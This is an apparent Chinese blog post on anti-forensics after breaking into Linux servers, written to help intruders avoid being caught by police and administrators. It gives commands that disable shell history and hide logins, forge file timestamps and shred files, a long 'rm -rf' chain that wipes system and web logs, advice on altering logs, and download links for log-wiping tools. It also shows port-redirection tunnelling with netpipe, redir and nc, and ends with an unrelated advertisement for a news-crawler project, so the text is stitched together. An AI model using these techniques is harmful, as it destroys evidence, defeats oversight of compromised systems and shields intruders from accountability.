Linux下的踪迹隐藏

0.前言:

被警察叔叔请去喝茶时间很痛苦的事情,各位道长如果功力不够又喜欢出风头的想必都有过
这样的“待遇”。如何使自己在系统中隐藏的更深,是我们必须掌握的基本功。当然,如果
管理员真的想搞你而他的功力又足够足的话,相信没什么人能够真正的“踏雪无痕”。Forensic
与Anti-Forensic,说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的
文章,大部分就是下载个日志擦除的软件,然后运行下就可以了,对小站可以,但对方如果
是经验丰富的管理员呢?我们该如何应对?我在这里只介绍unix-like system下的,至于
windows或者其他什么系统下的,欢迎各位道友补充。

1.
最小化你的日志

P.S 访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总
之记住一点—直接连接攻击目标是愚蠢的
1.1 shell使用问题

目前linux下大多数的shell都是采用bash或者其他的什么shell 通过输入输出重定向来
实现与服务器的交互的,当我们使用ssh 或者telnet之类的登录的时候,我们的命令都
会被记录在shell 的history文件下面。举例来说bash会在当前目录下面.bash_history文
件里记录下你此次登陆操作的命令,如果你拿这台机器当跳板的话,或者扫描其他机器,
你的命令都会被记录下来哦。呵呵,所以我们登录的第一件事就是执行如下命令:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
export HISTSIZE=0; export HISTFILESIZE=0

当然不同的shell写法可能不同,像有的set设置环境变量什么的。大家根据自己的shell
自行修改。记住:从 webshell弹回的shell也会记录你的操作,值得庆幸的是现在很多
弹shell的脚本都预先unset 环境变量。

我们还需要记住的是在登录的时候出现在登录窗口的一些信息,比如该用户在什么时候
从哪个IP登录进来的等等,这在我们后面的用于日志清除与修改的时候要用到。

如图:

作为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,但是别的机器的公钥
呢?总不能放在当前用户的目录下吧?当然你可以事后删除,但多一事不如少一事,你
说对么?

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

就可以了,但在这样运行某些命令的时候可能会有提示,说你的stdin不是个terminal,
这里可以这样解决:
python -c ‘import pty; pty.spawn(“/bin/sh”)’ 或者自己再建立个ttyshell。

1.2 webshell的选择问题

可能各位道友的日常生活中最主要目标瞄向了webserver 。现在的web也是大多数入侵
的一个突破口。Linux下用的最多的就是apache服务器了,当我们发觉一个服务器的漏洞
候很可能要上传一个webshell来进行对服务器文件进一步的操作和信息的搜集,部分
webshell也提供了反弹shell的功能。 如何能够在apache服务器的日志文件中留下最小的记
录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除apache日志。如果
能够root了,则可以将重点放在第二节日志清除上。通常,日志只记录GET的信息,比如
你的注入,你采用了那种方式提交数据等等。如果我们的 webshell采用的多是GET方式交
互的话,就很容易在httpd的access_log中留下很多日志。这些以后都会被作为证据所采纳
的。Phpspy是个很好的选择,作者也注意掉了这点,取消了GET方式的交互,再给webshell
起一个比较迷惑的名字,这样我们与webshell的交流就更加隐秘。

2.
日志的清除与改写

日志清除与改写,俗称擦PP,这是个很重要的过程,日志记录了你对目标机器的操作
记录,大部分的入侵者查找都是通过日志来确定的,因此,我们需要对日志文件进行操
作。对日志操作有这么个说法,能修改的就不清除,这样才能最小的减少管理员的怀疑。
Linux下的大多数文件是以文本方式,或者以简单的结构体方式存入文件的,这就为我
们修改某个日志记录里的具体内容提供了前提条件。

需要注意的一点是,我们需要先看看日志的存放位置,有的管理员会修改日志保存的位
置,一般来说,我们可以查看/etc/syslog.conf来获得log文件存放的位置。但要注意的是,
有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置,怎么办?在
这种情况下可以用strings来看下/sbin/syslogd这个文件,这种管理员我只在书里看到过,
至少我没遇到过: P。这个配置文件里面记录了系统存放某些log的目录,如secure文件
等。下面我们就会根据这个文件来清理和修改日志。

现在可以在网上公开获得的日志清除程序代码很粗糙,我曾经看到过最夸张的清日志的
代码像这样:

rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ;
rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf
/var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm
-rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ;
rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf
/var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ;
rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf
/var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf
/etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf
/var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf
/usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ;
rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch
/root/.bash_history ; history –r

整个一rm集合,要是服务器跑了很长时间,积累了很多日志。你这样一删除,的,你
帮他省事了,他也省事,一眼就看出有人进来了。

先不说其他,用rm删除就不可取,正确的删除文件做法是用shred

shred -n 31337 -z -u file_to_delete

这样多次擦除才够安全。呵呵

下面具体的针对日志文件进行分析。

W命令提供了管理员查看当前登录帐户的功能,所以与管理员同台共演是件很危险的事
情,能不做就不做,但也有人曾经上演过local exp后,装上tty 然后T管理员下线截获
登录密码的好戏

。呵呵,如何让w不显示你登录了呢?

lee tty1 – 01:23 5.00s 0.06s 0.06s -bash
root pts/0 192.168.1.96 00:27 0.00s 0.65s 0.04s w
用rootkit我就不废话了,这里有个小窍门,即使是普通用户登录管理员也不能看见:

在跳板上登录目标ssh -T somebody@1.1.1.1 /bin/bash –i 你可以试试,很好用哦。

OK,言归正传

首先第一个概念是timstamp,也就是你用ls –l 看到的东西,我们在修改一个LOG文件
之前或者留后门之后都得留心下这个时间,有很多管理员喜欢通过timestamp来查找入
侵者留下的东西。记住以下命令

touch -r 具有你希望改成的时间的文件 你要改变的文件 他能够使得两个文件的
timestamp保持一致。

在你修改日志之前,你可以在/dev/shm下面建立一个临时文件,并将log的timestamp
保存下俩,然后再touch回去。为什么要用/dev/shm 目录在第三节会有说明。当然我们
也可以用程序实现,不过有的时候我们会碰到没有见过的日志类型,所以有时候需要手
工改写日志。除了时间之外,还需要注意文件的其他属性,比如所有者或是否有粘滞位
等等。这些都需要注意。
Linux 的日志散落在系统各处,同时系统管理员也能够灵活的制定日志保存的位置,这
就要求我们非常小心,采用通用的日志移除或改写工具是很不明智的,为此我们要对需
要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详
解》。

这里提供个工具

http://xi4oyu.blogbus.com/files/12090842490.tgz

http://xi4oyu.blogbus.com/files/12085049220.rar

………………….

===netpipe===
[root@security-lab1 ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:13:72:4F:11:45
inet addr:10.0.64.36 Bcast:10.0.64.255 Mask:255.255.255.0
inet6 addr: fe80::213:72ff:fe4f:1145/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6299748 errors:0 dropped:0 overruns:0 frame:0
TX packets:1015669 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:666609648 (635.7 MiB) TX bytes:763775653 (728.3 MiB)
Base address:0xecc0 Memory:fe6e0000-fe700000

[root@security-lab1 ~]# uname -a
Linux security-lab1 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
[root@security-lab1 ~]# cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[root@security-lab1 ~]# ./np2 -a 10.0.77.15 -l 3000 -r 2200
Options and their values:
Listen: 3000
Host: 10.0.77.15

======>在远程linux上启动netpipe

D:\exploit>ipconfig

Windows IP Configuration
Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.0.77.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.77.250

Ethernet adapter {3EC117C6-8AD8-4BBB-9BC2-0423602E2B93}:

Media State . . . . . . . . . . . : Media disconnected

D:\exploit>nc -vv -n -l -p 2200
listening on [any] 2200 …

=====》在本地10。0。77。15上监听2200端口

此时,如果连接远程linux的3000端口,将重定向到本地win的2200端口

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

D:\exploit>nc -vv -n 10.0.64.36 3000 =====>连接远程linux的3000端口,输入test
(UNKNOWN) [10.0.64.36] 3000 (?) open
test

—————

D:\exploit>nc -vv -n -l -p 2200 =====》在本地2200端口得到来自linux的连接,并接收到test
listening on [any] 2200 …
connect to [10.0.77.15] from (UNKNOWN) [10.0.64.36] 49341
test

=====>这是本地监听端口2200接收到了来自远程linux的连接

client —-visit——–> linux 10.0.64.36:3000 ——-send——-> win 10.0.77.15:2200

+++++++++++++++++++++++++++++++++++++++++

===redir====

同样也是一个端口重定向工具

[root@security-lab1 ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:13:72:4F:11:45
inet addr:10.0.64.36 Bcast:10.0.64.255 Mask:255.255.255.0
inet6 addr: fe80::213:72ff:fe4f:1145/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6299748 errors:0 dropped:0 overruns:0 frame:0
TX packets:1015669 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:666609648 (635.7 MiB) TX bytes:763775653 (728.3 MiB)
Base address:0xecc0 Memory:fe6e0000-fe700000

[root@security-lab1 ~]# uname -a
Linux security-lab1 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
[root@security-lab1 ~]# cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[root@security-lab1 ~]# which redir
/usr/bin/redir

[root@security-lab1 ~]# nc -vv localhost 22
localhost.localdomain [127.0.0.1] 22 (ssh) open
SSH-1.99-OpenSSH_3.9p1
sent 0, rcvd 23
[root@security-lab1 ~]# nc -vv -n 10.0.76.109 22 =====>远程主机,我们要重定向的端口
(UNKNOWN) [10.0.76.109] 22 (?) open
SSH-2.0-OpenSSH_4.0
sent 0, rcvd 20
[root@security-lab1 ~]# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN 2205/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2185/portmap
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 5596/cupsd
tcp 0 0 127.0.0.1:49342 127.0.0.1:22 TIME_WAIT –
tcp 0 0 10.0.64.36:49343 10.0.76.109:22 TIME_WAIT –
tcp 0 0 :::80 :::* LISTEN 18531/httpd
tcp 0 0 :::22 :::* LISTEN 2378/sshd
tcp 0 0 :::443 :::* LISTEN 18531/httpd
tcp 0 124 ::ffff:10.0.64.36:22 ::ffff:10.0.77.15:1144 ESTABLISHED 20785/0
[root@security-lab1 ~]# redir –lport=3000 –cport=22 –caddr=10.0.76.109

redir把远程主机10。0。76。109的22端口重定向到了本地的3000端口

D:\exploit>nc -vv -n 10.0.64.36 3000
(UNKNOWN) [10.0.64.36] 3000 (?) open
SSH-2.0-OpenSSH_4.0

用ssh登陆10.0.64.36的3000端口

login as: axis
axis@10.0.64.36’s password:
Last login: Thu Feb 23 14:45:52 2006
[axis@axis ~]$ /sbin/ifconfig ====> 可以看到我们实际上是登陆到了10.0.76.109的sshd

eth0 Link encap:Ethernet HWaddr 00:11:09:08:07:00
inet addr:10.0.76.109 Bcast:10.0.76.255 Mask:255.255.255.0
inet6 addr: fe80::211:9ff:fe08:700/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:583908 errors:0 dropped:0 overruns:0 frame:0
TX packets:8067 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:70442739 (67.1 MiB) TX bytes:864787 (844.5 KiB)
Interrupt:12 Base address:0xd000

[root@axis ~]# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:* 0.0.0.0:* –
tcp 0 0 :::22 :::* LISTEN 2454/sshd
tcp 0 0 ::ffff:10.0.76.109:22 ::ffff:10.0.64.36:49347 ESTABLISHED 31393/sshd: axis [p
tcp 0 0 ::ffff:10.0.76.109:22 ::ffff:10.0.64.36:49346 TIME_WAIT –
[root@axis ~]#

可以看到,远程主机10。0。76。109 的22端口被完全重定向到10。0。64。36的3000端口,访问其3000端口就相当于直接访问到10。0。76。109的22端口了。

以上两个小工具都可以在packetstorm找到。

网络安全领域中攻与防是对立的。本文是介绍在入侵检测时的隐藏自己踪迹的办法,大家也可以去学习一下提升liunx安全的几种方法

Python网络爬虫与推荐算法新闻推荐平台:网络爬虫:通过Python实现新浪新闻的爬取,可爬取新闻页面上的标题、文本、图片、视频链接(保留排版) 推荐算法:权重衰减+标签推荐+区域推荐+热点推荐.zip项目工程资源经过严格测试可直接运行成功且功能正常的情况才上传,可轻松复刻,拿到资料包后可轻松复现出一样的项目,本人系统开发经验充足(全领域),有任何使用问题欢迎随时与我联系,我会及时为您解惑,提供帮助。 【资源内容】:包含完整源码+工程文件+说明(如有)等。答辩评审平均分达到96分,放心下载使用!可轻松复现,设计报告也可借鉴此项目,该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的。 【提供帮助】:有任何使用问题欢迎随时与我联系,我会及时解答解惑,提供帮助 【附带帮助】:若还需要相关开发工具、学习资料等,我会提供帮助,提供资料,鼓励学习进步 【项目价值】:可用在相关项目设计中,皆可应用在项目、毕业设计、课程设计、期末/期中/大作业、工程实训、大创等学科竞赛比赛、初期项目立项、学习/练手等方面,可借鉴此优质项目实现复刻,设计报告也可借鉴此项目,也可基于此项目来扩展开发出更多功能 下载后请首先打开README文件(如有),项目工程可直接复现复刻,如果基础还行,也可在此程序基础上进行修改,以实现其它功能。供开源学习/技术交流/学习参考,勿用于商业用途。质量优质,放心下载使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值